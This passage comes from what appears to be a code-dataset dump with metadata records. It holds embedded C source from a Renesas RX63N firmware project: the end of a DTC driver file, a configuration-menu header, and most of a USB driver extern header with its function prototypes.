=\n{\n\t\tDTCE_ICU_SWINT,\n\t\tDTCE_CMT0_CMI0,\n\t\tDTCE_CMT1_CMI1,\n\t\tDTCE_CMT2_CMI2,\n\t\tDTCE_CMT3_CMI3,\n\t\tDTCE_USB0_D0FIFO0,DTCE_USB0_D1FIFO0,\n\t\tDTCE_USB1_D0FIFO1,DTCE_USB1_D1FIFO1,\n\t\tDTCE_RSPI0_SPRI0,DTCE_RSPI0_SPTI0,\n\t\tDTCE_RSPI1_SPRI1,DTCE_RSPI1_SPTI1,\n\t\tDTCE_RSPI2_SPRI2,DTCE_RSPI2_SPTI2,\n\t\tDTCE_ICU_IRQ0,DTCE_ICU_IRQ1,DTCE_ICU_IRQ2,DTCE_ICU_IRQ3,DTCE_ICU_IRQ4,DTCE_ICU_IRQ5,DTCE_ICU_IRQ6,DTCE_ICU_IRQ7,DTCE_ICU_IRQ8,DTCE_ICU_IRQ9,DTCE_ICU_IRQ10,DTCE_ICU_IRQ11,DTCE_ICU_IRQ12,DTCE_ICU_IRQ13,DTCE_ICU_IRQ14,DTCE_ICU_IRQ15,\n\t\tDTCE_AD_ADI0,\n\t\tDTCE_S12AD_S12ADI0,\n\t\tDTCE_TPU0_TGI0A,DTCE_TPU0_TGI0B,DTCE_TPU0_TGI0C,DTCE_TPU0_TGI0D,\n\t\tDTCE_TPU1_TGI1A,DTCE_TPU1_TGI1B,\n\t\tDTCE_TPU2_TGI2A,DTCE_TPU2_TGI2B,\n\t\tDTCE_TPU3_TGI3A,DTCE_TPU3_TGI3B,DTCE_TPU3_TGI3C,DTCE_TPU3_TGI3D,\n\t\tDTCE_TPU4_TGI4A,DTCE_TPU4_TGI4B,\n\t\tDTCE_TPU5_TGI5A,DTCE_TPU5_TGI5B,\n\t\tDTCE_TPU6_TGI6A,DTCE_TPU6_TGI6B,DTCE_TPU6_TGI6C,DTCE_TPU6_TGI6D,\n\t\tDTCE_MTU0_TGIA0,DTCE_MTU0_TGIB0,DTCE_MTU0_TGIC0,DTCE_MTU0_TGID0,\n\t\tDTCE_TPU7_TGI7A,DTCE_TPU7_TGI7B,\n\t\tDTCE_MTU1_TGIA1,DTCE_MTU1_TGIB1,\n\t\tDTCE_TPU8_TGI8A,DTCE_TPU8_TGI8B,\n\t\tDTCE_MTU2_TGIA2,DTCE_MTU2_TGIB2,\n\t\tDTCE_TPU9_TGI9A,DTCE_TPU9_TGI9B,DTCE_TPU9_TGI9C,DTCE_TPU9_TGI9D,\n\t\tDTCE_MTU3_TGIA3,DTCE_MTU3_TGIB3,DTCE_MTU3_TGIC3,DTCE_MTU3_TGID3,\n\t\tDTCE_TPU10_TGI10A,DTCE_TPU10_TGI10B,\n\t\tDTCE_MTU4_TGIA4,DTCE_MTU4_TGIB4,DTCE_MTU4_TGIC4,DTCE_MTU4_TGID4,DTCE_MTU4_TCIV4,\n\t\tDTCE_TPU11_TGI11A,DTCE_TPU11_TGI11B,\n\t\tDTCE_MTU5_TGIU5,DTCE_MTU5_TGIV5,DTCE_MTU5_TGIW5,\n\t\tDTCE_TMR0_CMIA0,DTCE_TMR0_CMIB0,\n\t\tDTCE_TMR1_CMIA1,DTCE_TMR1_CMIB1,\n\t\tDTCE_TMR2_CMIA2,DTCE_TMR2_CMIB2,\n\t\tDTCE_TMR3_CMIA3,DTCE_TMR3_CMIB3,\n\t\tDTCE_RIIC0_RXI0,DTCE_RIIC0_TXI0,\n\t\tDTCE_RIIC1_RXI1,DTCE_RIIC1_TXI1,\n\t\tDTCE_RIIC2_RXI2,DTCE_RIIC2_TXI2,\n\t\tDTCE_RIIC3_RXI3,DTCE_RIIC3_TXI3,\n\t\tDTCE_DMAC_DMAC0I,DTCE_DMAC_DMAC1I,DTCE_DMAC_DMAC2I,DTCE_DMAC_DMAC3I,\n\t\tDTCE_EXDMAC_EXDMAC0I,DTCE_EXDMAC_EXDMAC1I,\n\t\tDTCE_SCI0_RXI0,DTCE_SCI0_TXI0,\n\t\tDTCE_SCI1_RXI1,DTCE_SCI1_TXI1,\n\t\tDTCE_SCI2_RXI2,DTCE_SCI2_TXI2,\n\t\tDTCE_SCI3_RXI3,DTCE_SCI3_TXI3,\n\t\tDTCE_SCI4_RXI4,DTCE_SCI4_TXI4,\n\t\tDTCE_SCI5_RXI5,DTCE_SCI5_TXI5,\n\t\tDTCE_SCI6_RXI6,DTCE_SCI6_TXI6,\n\t\tDTCE_SCI7_RXI7,DTCE_SCI7_TXI7,\n\t\tDTCE_SCI8_RXI8,DTCE_SCI8_TXI8,\n\t\tDTCE_SCI9_RXI9,DTCE_SCI9_TXI9,\n\t\tDTCE_SCI10_RXI10,DTCE_SCI10_TXI10,\n\t\tDTCE_SCI11_RXI11,DTCE_SCI11_TXI11,\n\t\tDTCE_SCI12_RXI12,DTCE_SCI12_TXI12\n};\n\n\n#if ((0 != BSP_CFG_USER_LOCKING_ENABLED) || (bsp_lock_t != BSP_CFG_USER_LOCKING_TYPE) \\\n || (DTC_ENABLE != DTC_CFG_USE_DMAC_FIT_MODULE))\n/*******************************************************************************\n* Function Name: r_dtc_check_DMAC_locking_byUSER\n* Description : Checks all DMAC channel locking.\n* Arguments : none -\n* Return Value : true -\n* All DMAC channels are unlocked. \n* false -\n* One or some DMAC channels are locked.\n*\n*******************************************************************************/\nbool r_dtc_check_DMAC_locking_byUSER(void)\n{\n bool ret = true;\n\n /* User has to check the locking of DMAC by themselves. */\n /* do something */\n\n return ret;\n}\n#endif\n\n/*******************************************************************************\n* Function Name: r_dtc_module_enable\n* Description : Releases module stop state.\n* Arguments : None\n* Return Value : None\n*******************************************************************************/\nvoid r_dtc_module_enable(void)\n{\n /* Enable writing to MSTP registers. */\n R_BSP_RegisterProtectDisable(BSP_REG_PROTECT_LPC_CGC_SWR);\n /* Release from module stop state. */\n MSTP(DTC) = 0;\n /* Disable writing to MSTP registers. */\n R_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LPC_CGC_SWR);\n\n return;\n}\n\n/*******************************************************************************\n* Function Name: r_dtc_module_disable\n* Description : Sets to module stop state.\n* Arguments : None\n* Return Value : None\n*******************************************************************************/\nvoid r_dtc_module_disable(void)\n{\n /* Enable writing to MSTP registers. */\n R_BSP_RegisterProtectDisable(BSP_REG_PROTECT_LPC_CGC_SWR);\n /* Set to module stop state. */\n MSTP(DTC) = 1;\n /* Disable writing to MSTP registers. */\n R_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LPC_CGC_SWR);\n\n return;\n}\n\n\n#endif /* defined(BSP_MCU_RX63N) */\n\n/* End of File */\n\n" }, { "alpha_fraction": 0.7006579041481018, "alphanum_fraction": 0.7154605388641357, "avg_line_length": 25.434782028198242, "blob_id": "104eef3f4c7e055d07a32cb62e72779b88397d75", "content_id": "8409d4268b7136e027bbbd5d8ce8f59a2ea042f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 608, "license_type": "no_license", "max_line_length": 51, "num_lines": 23, "path": "/src/include/config_menu_pl.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * config_menu_pl.h\n *\n * Created on: Jun 15, 2016\n * Author: LAfonso01\n */\n\n#ifndef INCLUDE_CONFIG_MENU_PL_H_\n#define INCLUDE_CONFIG_MENU_PL_H_\n\n#include \"ut_state_config_var.h\"\n\nextern ut_config_var configsPl[PL_CONFIG_MAX];\nextern ut_config_type pl_init_types[PL_CONFIG_MAX];\nextern char* pl_init_names[PL_CONFIG_MAX];\nextern float pl_init_max[PL_CONFIG_MAX];\nextern float pl_init_min[PL_CONFIG_MAX];\nextern float pl_init_step[PL_CONFIG_MAX];\nextern uint8_t pl_init_point[PL_CONFIG_MAX];\nextern char* pl_init_unit[PL_CONFIG_MAX];\nextern void initPl(void);\n\n#endif /* INCLUDE_CONFIG_MENU_PL_H_ */\n" }, { "alpha_fraction": 0.591941237449646, "alphanum_fraction": 0.6234420537948608, "avg_line_length": 50.94678497314453, "blob_id": "0056cbdc25da8b07b0ed12935933308c7c9b79a1", "content_id": "81c849875be0345e82965b5bc1f6f46a68449a33", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 23428, "license_type": "no_license", "max_line_length": 120, "num_lines": 451, "path": "/r_usb_basic/src/driver/inc/r_usb_cextern.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_cextern.h\n* Description : USB common extern header\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n/* $Id: r_usb_cextern.h 162 2012-05-21 10:20:32Z ssaek $ */\n\n#ifndef __R_USB_CEXTERN_H__\n#define __R_USB_CEXTERN_H__\n\n\n/*****************************************************************************\nPublic Variables\n******************************************************************************/\n/* r_usb_cDataIO.c */\nextern uint32_t usb_gcstd_DataCnt[][USB_MAX_PIPE_NO + 1u]; /* PIPEn Buffer counter */\nextern uint16_t usb_gcstd_Dma0Dir[]; /* DMA0 direction */\nextern uint32_t usb_gcstd_Dma0Size[]; /* DMA0 buffer size */\nextern uint16_t usb_gcstd_Dma0Fifo[]; /* DMA0 FIFO buffer size */\nextern uint16_t usb_gcstd_Dma0Pipe[]; /* DMA0 pipe number */\nextern uint8_t *usb_gcstd_DataPtr[][USB_MAX_PIPE_NO + 1u]; /* PIPEn Buffer pointer(8bit) */\nextern uint16_t usb_ghstd_IgnoreCnt[][USB_MAX_PIPE_NO + 1u]; /* Ignore count */\nextern USB_UTR_t *usb_gcstd_Pipe[][USB_MAX_PIPE_NO + 1u]; /* Message pipe */\nextern uint16_t usb_gcstd_XckeMode; /* XCKE Mode Flag */\nextern uint16_t usb_gcstd_HsEnable[]; /* Hi-speed enable */\n\n\n/* r_usb_hDriver.c */\nextern USB_HCDREG_t usb_ghstd_DeviceDrv[][USB_MAXDEVADDR + 1u]; /* Device driver (registration) */\nextern uint16_t usb_ghstd_DeviceInfo[][USB_MAXDEVADDR + 1u][8u];\n /* port status, config num, interface class, speed, */\nextern uint16_t usb_ghstd_RemortPort[];\nextern uint16_t usb_ghstd_Ctsq[]; /* Control transfer stage management */\nextern uint16_t usb_ghstd_MgrMode[][2u]; /* Manager mode */\nextern uint16_t usb_ghstd_DcpRegister[][USB_MAXDEVADDR + 1u]; /* DEVSEL & DCPMAXP (Multiple device) */\nextern uint16_t usb_ghstd_DeviceAddr[]; /* Device address */\nextern uint16_t usb_ghstd_DeviceSpeed[]; /* Reset handshake result */\nextern uint16_t usb_ghstd_DeviceNum[]; /* Device driver number */\n\n\n/* r_usb_hManager.c */\nextern uint16_t usb_ghstd_EnumSeq[]; /* Enumeration request */\nextern uint16_t usb_ghstd_DeviceDescriptor[][USB_DEVICESIZE / 2u];\nextern uint16_t usb_ghstd_ConfigurationDescriptor[][USB_CONFIGSIZE / 2u];\nextern uint16_t usb_ghstd_SuspendPipe[][USB_MAX_PIPE_NO + 1u];\nextern uint8_t usb_ghstd_EnuWait[]; /* Class check TaskID */\nextern uint16_t usb_ghstd_CheckEnuResult[]; /* Enumeration result check */\n\n/* r_usb_pDriver.c */\nextern uint16_t usb_gpstd_StallPipe[USB_MAX_PIPE_NO + 1u]; /* Stall Pipe info */\nextern USB_CB_t usb_gpstd_StallCB; /* Stall Callback function */\nextern uint16_t usb_gpstd_ConfigNum; /* Configuration Number */\nextern uint16_t usb_gpstd_AltNum[]; /* Alternate */\nextern uint16_t usb_gpstd_RemoteWakeup; /* Remote Wakeup Enable Flag */\nextern uint16_t usb_gpstd_TestModeSelect; /* Test Mode Selectors */\nextern uint16_t usb_gpstd_TestModeFlag; /* Test Mode Flag */\nextern uint16_t usb_gpstd_EpTblIndex[2][USB_MAX_EP_NO + 1u]; /* Index of Endpoint Information table */\nextern uint16_t usb_gpstd_ReqType; /* Request type */\nextern uint16_t usb_gpstd_ReqTypeType; /* Request type TYPE */\nextern uint16_t usb_gpstd_ReqTypeRecip; /* Request type RECIPIENT */\nextern uint16_t usb_gpstd_ReqRequest; /* Request */\nextern uint16_t usb_gpstd_ReqValue; /* Value */\nextern uint16_t usb_gpstd_ReqIndex; /* Index */\nextern uint16_t usb_gpstd_ReqLength; /* Length */\nextern uint16_t usb_gpstd_intsts0; /* INTSTS0 */\nextern USB_PCDREG_t usb_gpstd_Driver; /* Driver registration */\nextern USB_REQUEST_t usb_gpstd_ReqReg; /* Request variable */\n\n\n/* r_usb_creg_abs.c */\nextern uint16_t usb_gcstd_RhstBit;\nextern uint16_t usb_gcstd_DvsqBit;\nextern uint16_t usb_gcstd_AddrBit;\nextern uint16_t usb_gcstd_SqmonBit;\n\n\n//extern uint16_t usb_gcstd_PcutMode[2u]; /* PCUT Mode Flag */\n\n\n\n#ifdef USB_HOST_BC_ENABLE\nextern usb_bc_status_t g_usb_hstd_bc[2u];\nextern void (*usb_hstd_bc_func[USB_BC_STATE_MAX][USB_BC_EVENT_MAX])(USB_UTR_t *ptr, uint16_t port);\n#endif /* USB_HOST_BC_ENABLE */\n\n\n#ifdef USB_PERI_BC_ENABLE\nextern uint16_t g_usb_bc_detect;\n#endif /* USB_PERI_BC_ENABLE */\n\n\n\n/*****************************************************************************\nPublic Functions\n******************************************************************************/\n/* main.c */\n\n/* r_usb_cIntHandler.c */\nvoid usb_cstd_InitUsbMessage(USB_UTR_t *ptr, uint16_t function);\nvoid usb_cstd_DmaHandler(void);\nvoid usb_cstd_UsbHandler(void);\n\n\n/* r_usb2_cIntHandler.c */\nvoid usb2_cstd_DmaHandler(void);\nvoid usb2_cstd_UsbHandler(void);\n\n\n/* r_usb_cDataIO.c */\nvoid usb_cstd_SendStart(USB_UTR_t *ptr, uint16_t Pipe);\nvoid usb_cstd_Buf2Fifo(USB_UTR_t *ptr, uint16_t Pipe, uint16_t useport);\nuint16_t usb_cstd_write_data(USB_UTR_t *, uint16_t, uint16_t);\nvoid usb_cstd_ReceiveStart(USB_UTR_t *ptr, uint16_t Pipe);\nvoid usb_cstd_Fifo2Buf(USB_UTR_t *ptr, uint16_t Pipe, uint16_t useport);\nuint16_t usb_cstd_read_data(USB_UTR_t *, uint16_t, uint16_t);\nvoid usb_cstd_DataEnd(USB_UTR_t *ptr, uint16_t Pipe, uint16_t Status);\nvoid usb_cstd_ForcedTermination(USB_UTR_t *ptr, uint16_t Pipe, uint16_t Status);\n\n\n/* r_usb_cIntFIFO.c */\nvoid usb_cstd_BrdyPipe(USB_UTR_t *ptr, uint16_t bitsts);\nvoid usb_cstd_NrdyPipe(USB_UTR_t *ptr, uint16_t bitsts);\nvoid usb_cstd_BempPipe(USB_UTR_t *ptr, uint16_t bitsts);\n\n\n/* r_usb_cScheduler.c */\nUSB_ER_t usb_cstd_RecMsg( uint8_t id, USB_MSG_t** mess, USB_TM_t tm );\nUSB_ER_t usb_cstd_SndMsg( uint8_t id, USB_MSG_t* mess );\nUSB_ER_t usb_cstd_iSndMsg( uint8_t id, USB_MSG_t* mess );\nUSB_ER_t usb_cstd_WaiMsg( uint8_t id, USB_MSG_t* mess, USB_TM_t times );\nvoid usb_cstd_WaitScheduler(void);\nUSB_ER_t usb_cstd_PgetBlk( uint8_t id, USB_UTR_t** blk );\nUSB_ER_t usb_cstd_RelBlk( uint8_t id, USB_UTR_t* blk );\nvoid usb_cstd_ScheInit(void);\n\n\n/* r_usb_cStdApi.c */\nvoid usb_cstd_set_usbip_mode(USB_UTR_t *ptr, uint16_t function);\n\n\n/* r_usb_hControlRW */\nuint16_t usb_hstd_ControlWriteStart(USB_UTR_t *ptr, uint32_t bsize, uint8_t *table);\nvoid usb_hstd_ControlReadStart(USB_UTR_t *ptr, uint32_t bsize, uint8_t *table);\nvoid usb_hstd_StatusStart(USB_UTR_t *ptr);\nvoid usb_hstd_ControlEnd(USB_UTR_t *ptr, uint16_t Status);\nvoid usb_hstd_SetupStart(USB_UTR_t *ptr);\n\n\n/* r_usb_hDriver.c */\nuint16_t usb_hstd_get_device_state(USB_UTR_t *ptr, uint16_t devaddr);\nuint8_t *usb_hstd_DevDescriptor(USB_UTR_t *ptr);\nuint8_t *usb_hstd_ConDescriptor(USB_UTR_t *ptr);\nuint16_t usb_hstd_HsFsResult(USB_UTR_t *ptr);\nvoid usb_hstd_DeviceResume(USB_UTR_t *ptr, uint16_t devaddr);\nUSB_ER_t usb_hstd_HcdSndMbx(USB_UTR_t *ptr, uint16_t msginfo, uint16_t dat, uint16_t *adr, USB_CB_t callback);\nvoid usb_hstd_MgrSndMbx(USB_UTR_t *ptr, uint16_t msginfo, uint16_t dat, uint16_t res);\nvoid usb_hstd_HcdTask(USB_VP_INT_t);\nUSB_ER_t usb_hstd_ChangeDeviceState(USB_UTR_t *ptr, USB_CB_t complete, uint16_t msginfo, uint16_t member);\nUSB_ER_t usb_hstd_TransferStart(USB_UTR_t *ptr);\n\n\nUSB_ER_t usb_hstd_ClearStall(USB_UTR_t *ptr, uint16_t pipe, USB_CB_t complete);\nUSB_ER_t usb_hstd_ClearFeature(USB_UTR_t *ptr, uint16_t addr, uint16_t epnum, USB_CB_t complete);\nuint16_t usb_hstd_GetStringDescriptor1Check(uint16_t errcheck);\nvoid usb_hstd_Suspend(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_Interrupt(USB_UTR_t *p);\nvoid usb_hstd_BusIntDisable(USB_UTR_t *ptr, uint16_t port);\n\n\n/* r_usb_hIntFIFO.c */\nvoid usb_hstd_BrdyPipe(USB_UTR_t *ptr);\nvoid usb_hstd_NrdyPipe(USB_UTR_t *ptr);\nvoid usb_hstd_BempPipe(USB_UTR_t *ptr);\n\n\n/* r_usb_hManager.c */\nvoid usb_hstd_NotifAtorDetach(USB_UTR_t *ptr, uint16_t result, uint16_t port);\nvoid usb_hstd_OvcrNotifiation(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_StatusResult(USB_UTR_t *ptr, uint16_t port, uint16_t result);\nvoid usb_hstd_EnumGetDescriptorAnsi(USB_UTR_t *ptr, uint8_t addr, uint8_t cnt_value);\nvoid usb_hstd_EnumGetDescriptor(USB_UTR_t *ptr, uint16_t addr, uint16_t cnt_value);\nvoid usb_hstd_EnumSetAddress(USB_UTR_t *ptr, uint16_t addr, uint16_t setaddr);\nvoid usb_hstd_EnumSetConfiguration(USB_UTR_t *ptr, uint16_t addr, uint16_t confnum);\nvoid usb_hstd_EnumDummyRequest(USB_UTR_t *ptr, uint16_t addr, uint16_t CntValue);\nvoid usb_hstd_ElectricalTestMode(USB_UTR_t *ptr, uint16_t product_id, uint16_t port);\nvoid usb_hstd_MgrTask(USB_VP_INT_t);\nuint16_t usb_hstd_GetStringDesc(USB_UTR_t *ptr, uint16_t addr, uint16_t string, USB_CB_t complete);\n\n\n/* r_usb_hStdFunction.c */\nvoid usb_hstd_Bchg0Function(USB_UTR_t *ptr);\nvoid usb_hstd_LsConnectFunction(USB_UTR_t *ptr);\nvoid usb_hstd_AttachFunction(void);\nuint16_t usb_hstd_EnumFunction1(void);\nuint16_t usb_hstd_EnumFunction2(uint16_t* enummode);\nvoid usb_hstd_EnumFunction3(USB_UTR_t *ptr, uint16_t devaddr, uint16_t enum_seq);\nvoid usb_hstd_EnumFunction4(uint16_t* reqnum, uint16_t* enummode, uint16_t devaddr);\nvoid usb_hstd_EnumFunction5(void);\n\n\n/* r_usb_pDriver.c */\nUSB_ER_t usb_pstd_PcdSndMbx(USB_UTR_t *ptr, uint16_t msginfo, uint16_t keyword, USB_CB_t complete);\nvoid usb_pstd_PcdRelMpl(uint16_t);\nvoid usb_pstd_PcdTask(USB_VP_INT_t);\nvoid usb_pstd_Interrupt(USB_UTR_t *ptr);\nvoid usb_pstd_ClearMem(void);\nvoid usb_pstd_SetConfigNum(uint16_t Value);\nvoid usb_pstd_ClearEpTblIndex(void);\nuint16_t usb_pstd_GetConfigNum(void);\nuint16_t usb_pstd_GetInterfaceNum(uint16_t Con_Num);\nuint16_t usb_pstd_GetAlternateNum(uint16_t Con_Num, uint16_t Int_Num);\nvoid usb_pstd_SetEpTblIndex(uint16_t Con_Num, uint16_t Int_Num, uint16_t Alt_Num);\nuint16_t usb_pstd_ChkRemote(void);\nuint8_t usb_pstd_GetCurrentPower(void);\nUSB_ER_t R_usb_pstd_SetStall(USB_UTR_t *ptr, USB_CB_t complete, uint16_t pipe);\n\n\n/* r_usb_pIntFIFO.c */\nvoid usb_pstd_BrdyPipe(USB_UTR_t *ptr, uint16_t bitsts);\nvoid usb_pstd_NrdyPipe(USB_UTR_t *ptr, uint16_t bitsts);\nvoid usb_pstd_BempPipe(USB_UTR_t *ptr, uint16_t bitsts);\n\n\n/* r_usb_pStdFunction.c */\nvoid usb_pstd_AttachFunction(USB_UTR_t *ptr);\nvoid usb_pstd_BusresetFunction(USB_UTR_t *ptr);\nvoid usb_pstd_SuspendFunction(USB_UTR_t *ptr);\n\n/* r_usb_pStdRequest.c */\nvoid usb_pstd_StandReq0(USB_UTR_t *ptr);\nvoid usb_pstd_StandReq1(USB_UTR_t *ptr);\nvoid usb_pstd_StandReq2(USB_UTR_t *ptr);\nvoid usb_pstd_StandReq3(USB_UTR_t *ptr);\nvoid usb_pstd_StandReq4(USB_UTR_t *ptr);\nvoid usb_pstd_StandReq5(USB_UTR_t *ptr);\nvoid usb_pstd_SetFeatureFunction(USB_UTR_t *ptr);\n\n\n/* r_usb_smp_cSub.c */\nvoid usb_cstd_DummyFunction(USB_UTR_t *ptr, uint16_t data1, uint16_t data2);\nvoid usb_cstd_DummyTrn(USB_UTR_t *ptr, USB_REQUEST_t *data1, uint16_t data2);\nvoid usb_cstd_ClassProcessResult(USB_UTR_t *ptr, uint16_t data,uint16_t dummy);\nvoid usb_cstd_ClassTransResult(USB_UTR_t *mess, uint16_t, uint16_t);\n\n\n/* r_usb_smp_hSub.c */\nuint16_t usb_hstd_CheckDescriptor(uint8_t *table, uint16_t spec);\nuint16_t usb_hstd_GetConfigDesc(USB_UTR_t *ptr, uint16_t addr, uint16_t length, USB_CB_t complete);\nuint16_t usb_hstd_SetFeature(USB_UTR_t *ptr, uint16_t addr, uint16_t epnum, USB_CB_t complete);\nuint16_t usb_hstd_GetStringDescriptor1(USB_UTR_t *ptr, uint16_t devaddr, uint16_t index, USB_CB_t complete);\nuint16_t usb_hstd_GetStringDescriptor2(USB_UTR_t *ptr, uint16_t devaddr, uint16_t index, USB_CB_t complete);\nuint16_t usb_hstd_GetStringDescriptor2Check(uint16_t errcheck);\nuint16_t usb_hstd_StdReqCheck(uint16_t errcheck);\n\n/* r_usb_hHubsys.c, r_usb_hHubsys_uitron.c */\nvoid usb_hhub_Initial(USB_UTR_t *ptr, uint16_t data1, uint16_t data2);\nvoid usb_hhub_ChkClass(USB_UTR_t *ptr, uint16_t **table);\nUSB_ER_t usb_hhub_ChangeState(USB_UTR_t *ptr, uint16_t devaddr, uint16_t msginfo, USB_CB_t callback);\n\n/* r_usb_creg_abs.c */\nUSB_REGADR_t usb_cstd_GetUsbIpAdr( uint16_t ipno );\n\nuint32_t usb_cstd_GetD0fifo32Adr( USB_UTR_t *ptr );\nuint32_t usb_cstd_GetD0fifo16Adr( USB_UTR_t *ptr );\nuint32_t usb_cstd_GetD0fifo8Adr( USB_UTR_t *ptr );\nvoid usb_cstd_AsspConfig(USB_UTR_t *ptr);\nvoid usb_cstd_Pinconfig(USB_UTR_t *ptr);\nvoid usb_cstd_InitialClock(USB_UTR_t *ptr);\nvoid usb_cstd_InterruptClock(USB_UTR_t *ptr);\nvoid usb_cstd_SelfClock(USB_UTR_t *ptr);\nvoid usb_cstd_StopClock(USB_UTR_t *ptr);\nvoid usb_cstd_NrdyEnable(USB_UTR_t *ptr, uint16_t Pipe);\nvoid usb_cstd_BerneEnable(USB_UTR_t *ptr);\nvoid usb_cstd_SwReset(USB_UTR_t *ptr);\nuint16_t usb_cstd_GetPid(USB_UTR_t *ptr, uint16_t Pipe);\nvoid usb_cstd_ClearIntEnb( USB_UTR_t *ptr );\nvoid usb_cstd_ClearIntSts( USB_UTR_t *ptr );\nvoid usb_cstd_ClearDline( USB_UTR_t *ptr );\nuint16_t usb_cstd_PortSpeed(USB_UTR_t *ptr, uint16_t port);\nuint16_t usb_cstd_HiSpeedEnable(USB_UTR_t *ptr, uint16_t port);\nvoid usb_cstd_SetHse(USB_UTR_t *ptr, uint16_t port, uint16_t speed);\nvoid usb_cstd_DoSqtgl(USB_UTR_t *ptr, uint16_t Pipe, uint16_t toggle);\nuint16_t usb_cstd_GetBufSize(USB_UTR_t *ptr, uint16_t Pipe);\nuint16_t usb_cstd_GetMaxPacketSize(USB_UTR_t *ptr, uint16_t Pipe);\nuint16_t usb_cstd_GetDevsel(USB_UTR_t *ptr, uint16_t Pipe);\nuint16_t usb_cstd_GetPipeDir(USB_UTR_t *ptr, uint16_t Pipe);\nuint16_t usb_cstd_GetPipeType(USB_UTR_t *ptr, uint16_t Pipe);\nvoid usb_cstd_pipe_init(USB_UTR_t *ptr, uint16_t pipe, uint16_t *tbl, uint16_t ofs);\nvoid usb_cstd_ClrPipeCnfg(USB_UTR_t *ptr, uint16_t PipeNo);\nuint16_t usb_cstd_is_host_mode(USB_UTR_t *ptr);\nvoid usb_cstd_set_usbip_mode_sub(USB_UTR_t *ptr, uint16_t function);\nvoid usb_cstd_WaitUsbip(USB_UTR_t *ptr);\nvoid usb_cstd_DoAclrm(USB_UTR_t *ptr, uint16_t Pipe);\nvoid usb_cstd_SetBuf(USB_UTR_t *ptr, uint16_t Pipe);\nvoid usb_cstd_SetNak(USB_UTR_t *ptr, uint16_t Pipe);\nvoid usb_cstd_ClrStall(USB_UTR_t *ptr, uint16_t Pipe);\nuint16_t usb_cstd_Epadr2Pipe(USB_UTR_t *ptr, uint16_t Dir_Ep);\nuint8_t usb_cstd_Pipe2Epadr(USB_UTR_t *ptr, uint16_t Pipe);\nuint16_t usb_cstd_Pipe2Fport(USB_UTR_t *ptr, uint16_t Pipe);\nuint16_t usb_cstd_GetDeviceAddress(USB_UTR_t *ptr, uint16_t Pipe);\nuint8_t *usb_cstd_write_fifo( USB_UTR_t *, uint16_t, uint16_t, uint8_t * );\nuint8_t *usb_cstd_read_fifo( USB_UTR_t *, uint16_t, uint16_t, uint8_t * );\nuint16_t usb_cstd_is_set_frdy(USB_UTR_t *ptr, uint16_t Pipe, uint16_t fifosel, uint16_t isel);\nvoid usb_cstd_chg_curpipe(USB_UTR_t *ptr, uint16_t Pipe, uint16_t fifosel, uint16_t isel);\nvoid usb_cstd_SetTransactionCounter(USB_UTR_t *ptr, uint16_t trnreg, uint16_t trncnt);\nvoid usb_cstd_ClrTransactionCounter(USB_UTR_t *ptr, uint16_t trnreg);\nvoid usb_cstd_set_sofcfg_intl( USB_UTR_t *ptr );\n\n\n\n/* r_usb_creg_dmadtc.c */\nvoid usb_cstd_D0fifoStopUsb(USB_UTR_t *ptr);\nvoid usb_cstd_D0fifoInt(USB_UTR_t *ptr);\n#ifdef USB_DTC_ENABLE\nvoid usb_cstd_Buf2fifoStartDma( USB_UTR_t *, uint16_t, uint16_t );\nvoid usb_cstd_Fifo2BufStartDma( USB_UTR_t *, uint16_t, uint16_t, uint32_t );\n#endif /* USB_DTC_ENABLE */\n\n\n\n/* r_usb_hostelectrical.c */\nvoid usb_hstd_TestStop(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_TestSignal(USB_UTR_t *ptr, uint16_t port, uint16_t command);\nvoid usb_hstd_TestUactControl(USB_UTR_t *ptr, uint16_t port, uint16_t command);\nvoid usb_hstd_TestVbusControl(USB_UTR_t *ptr, uint16_t port, uint16_t command);\nvoid usb_hstd_TestBusReset(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_TestSuspend(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_TestResume(USB_UTR_t *ptr, uint16_t port);\n\n\n/* r_usb_hreg_abs */\nvoid usb_hstd_SetDevAddr(USB_UTR_t *ptr, uint16_t addr, uint16_t speed, uint16_t port);\nvoid usb_hstd_SetHubPort(USB_UTR_t *ptr, uint16_t addr, uint16_t upphub, uint16_t hubport);\nvoid usb_hstd_BchgEnable(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_BchgDisable(USB_UTR_t *ptr, uint16_t 